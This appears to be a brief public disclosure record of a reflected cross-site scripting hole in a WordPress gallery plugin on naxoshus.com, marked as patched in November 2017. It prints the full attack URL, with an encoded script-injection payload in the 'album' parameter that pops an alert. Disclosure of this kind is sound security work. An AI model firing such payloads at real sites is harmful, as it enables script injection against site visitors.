naxoshus.com XSS vulnerability

Vulnerable URL: http://naxoshus.com/0//wp-content/plugins/fgalleryplus/fimrss.php?album=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28String.fromCharCode%2888,%2083,%2083,%2080,%2079,%2083,%2069,%2068%29%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017...